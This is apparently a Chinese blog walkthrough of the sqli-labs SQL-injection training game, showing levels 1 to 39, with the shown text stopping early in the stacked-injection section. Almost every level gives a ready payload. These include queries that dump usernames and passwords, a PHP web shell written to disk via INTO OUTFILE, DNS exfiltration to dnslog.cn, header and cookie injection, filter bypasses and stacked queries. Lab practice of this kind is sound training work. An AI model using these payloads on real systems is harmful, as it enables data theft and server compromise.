sqli-labs是训练SQL注入的一款闯关游戏,分四页,共75关,不过我还没通关。
sqli-labs闯关游戏页面
如果你的电脑无法像下面这样正常显示可以参照文章https://admin-root.blog.csdn.net/article/details/103597999
☛点我一键到底☚
sql注入基本语句:
order by 4 -- -
判断有多少列
union select 1,2,3 -- -
判断数据显示点
union select 1,user(),database() -- -
显示出登录用户和数据库名
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),3 -- -
查看数据库有哪些表
union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='users' ),3 -- -
查看对应表有哪些列
union select 1,(select group_concat(concat_ws(0x7e,username,password))from users),3 -- -
查看账号密码信息
Page-1(Basic Challenges)基本挑战 less1-22
less-1——基于单引号的字符型注入
注入语句:
id=1' and 1=1 -- -
1、判断注入点
2、把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入
3、确定注入字符后,判断有多少列, 超出列数会报错
id=1' order by 4 -- -
4、判断数据显示点 (id一定要改为0或负数)
id=0' union select 1,2,3 -- -
5、然后便可在注入字符后加入前面的sql注入基本语句
less-2——布尔型注入
注入语句:
id=1 and 1=1 -- -
方法同上。
less-3——基于’)的字符型注入
注入语句:
id=1') and 1=1 -- -
方法同上。
less-4——基于")字符型注入
注入语句:
id=1") and 1=1 -- -
方法同上。
less-5——基于’字符型的错误回显注入
注入语句:
id=1' union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
效果如图:
less-6——基于"字符型的错误回显注入
注入语句:
id=1" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
效果如图:
less-7——文件读写注入
注入语句:
1')) union select 1,'<?php eval($_REQUEST[23]); ?>',3 into outfile 'D://1.php' -- -
效果如图:
查看D:盘下是否出现1.php文件
less-8——基于’的盲注(利用dns回显)
注入语句:
id=1' and load_file(concat("\\\\",(database()),".2bmfvu.dnslog.cn\\1.txt")) -- -
1、点击此处获取dns地址
2、将地址复制填入SQL语句中执行
3、在DNSLog.cn
网站会看到回显结果为security
效果如图:
less-9——基于’的时间盲注
注入语句:
id=1' and if(length(database())>3 ,sleep(5),1) -- -
因为你不知道数据库名是几个字母,所以先让数字大于3进行判断,然后依次增加。效果如图:
如果sleep函数不起作用了,说明数据库名可能等于这个数。这时你就能判断它的数据库名啦。效果如图:
less-10——基于"的时间盲注
注入语句:
id=1" and if(length(database())>7 ,sleep(5),1) -- -
方法与第九关相同,将’改成"即可。
less-11——基于’的POST型注入
注入语句:
admin' and 1=1 -- -
这里不用密码也能登陆成功,所以判断是POST形式的单引号字符型注入
less-12——基于")的POST型注入
注入语句:
admin") and 1=1 -- -
方法同上。
less-13——基于’)的错误回显注入
注入语句:
admin') union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
效果如图:
less-14——基于"的错误回显注入
注入语句:
admin" union select updatexml(1,concat(0x7e,(select user()),0x7e),1) -- -
方法同上。
less-15——基于’的POST型注入(利用dns回显)
注入语句:
admin' and load_file(concat("\\\\",(database()),".qyfyji.dnslog.cn\\1.txt")) -- -
效果如图:
less-16——基于’的POST型注入(利用dns回显)
注入语句:
admin") and 1=1 -- -
方法同上。
less-17——基于’的密码报错注入
注入语句:
' and (updatexml(1,concat(0x7e, database(),0x7e),1))#
从密码入手输入注入语句进行报错注入,效果如图:
less-18——基于’的User-Agent:
报头文报错注入
注入语句:
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
1、先用Burp Suite
抓取输入正确用户密码的登录页面
2、然后在报头文User-Agent:
后加入注入语句即可,效果如图:
less-19——基于’的Referer:
报头文报错注入
注入语句:
',1,updatexml(1,concat(0x7e, database(),0x7e),1))#
方法同上,只需把报头文改成Referer:
即可。
less-20——基于’的Cookie:
报头文报错注入
注入语句:
uname=' union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;
方法同上,只需把报头文改成Cookie:
即可。
Page-2(Advanced Injections)高级注入 less21-38
less-21——基于’)字符型的Cookie注入
一、首先正常登陆进入以下页面
二、使用Burp Suite抓包当前页面。
三、转入Repeater模块将选中部分Ctrl+B进行Base64编码
注入语句:
') union select 1,2,3#
编码后:JykgdW5pb24gc2VsZWN0IDEsMiwzIyA=
四、能够正常显示,接下来相信你知道该怎么做了
less-22——基于"字符型的Cookie注入
注入语句:
uname=" union select 1,2,3# ;
操作步骤同上
less-23——过滤注释的GET型注入
注入语句:
id=-1' union select 1,2,3 ='1
less-24——二次注入
假设知道有admin用户但是不知道密码
首先点击New User click here? 注册admin’ – -用户
然后登录该用户修改密码
然后再使用admin输入刚才admin’ – -修改的密码
登录成功,此时两个账号的密码一样
less-25——过滤or和and的单引号注入
注入语句:
id=-1' union select 1,2,3--
less-25a——过滤or和and的注入
注入语句:
id=-1 union select 1,2,3--
less-26——基于’过滤注释和空格的注入
注入语句:
id=-1'aandnd(updatexml(1,'~aaaa',1))anandd'1'='1
less-26a——基于’)过滤注释和空格的盲注
这里不会报错,只是多加了一个括号。
less-27——基于’过滤union、select与注释和空格的注入
注入语句:
id=1'and(updatexml(1,'~aaaa',1))and'1'='1
less-27a——基于"过滤union和select 的盲注
单引号换成双引号,方法同上。
less-28——基于’)过滤union和select等的注入
注入语句:
网址栏url转码后
id=111%27)%0AUnIon%0AAll%0ASelect%0A(%271%27),2,(%273
url
转码前
id=111') UnIon All Select ('1'),2,('3
less-28a——基于’)过滤union、select和空格的盲注
注入语句:
网址栏url后
http://localhost/sqli-labs-master/Less-28a/?id=-1%27)%0AUnIon%0AAll%0ASelect%0A1,2,3%0A--%20-
url转码前
id=-1') UnIon All Select 1,2,3 -- -
less-29 index.php——基于单引号字符型的注入
注入语句:
id=-1' union select 1,2,3 -- -
less-29 隐藏关login.php——基于单引号的参数污染绕过
注入语句:
id=1&id=-1' union select 1,2,3 -- -
less-30 index.php——基于双引号字符型的注入
注入语句:
id=-1" union select 1,2,3 -- -
less-30 隐藏关login.php——基于双引号的参数污染绕过
注入语句:
id=1&id=-1" union select 1,2,3 -- -
less-31——基于")字符型的注入
注入语句:
id=-1") union select 1,2,3 -- -
less-31 隐藏关login.php——基于")的参数污染绕过
注入语句:
id=1&id=-1") union select 1,2,3 -- -
less-32——宽字节注入
注入语句:
id=-1%df' union select 1,2,3 -- -
less-33——get方式宽字节注入
在网址栏输入注入语句:
id=-1%df%27%20union%20select%201,2,3%20--%20-
less-34——post方式宽字节注入
注入语句:
Dumb�' union select 1,2,3 --
less-35——数值型注入
注入语句:
id=-1 union select 1,2,3
less-36——宽字节注入
注入语句:
id=-1�' union select 1,2,3 -- -
less-37——宽字节post注入
注入语句:
id=-1�' union select 1,2,3 -- -
id=-1�' union select 1,2,3 -- -
Page-3 (Stacked Injections)堆叠注入 less38-53
less-38——基于字符串的堆叠注入
注入语句:
id=1;CREATE DATABASE sq default charset utf8; -- -
查询id为1的用户名密码,同时创建名为sq的数据库。
数据库创建成功,说明两条语句都执行了。
less-39——堆叠注入
注入语句:
id=1;CREATE DATABASE sq default charset utf8; -- -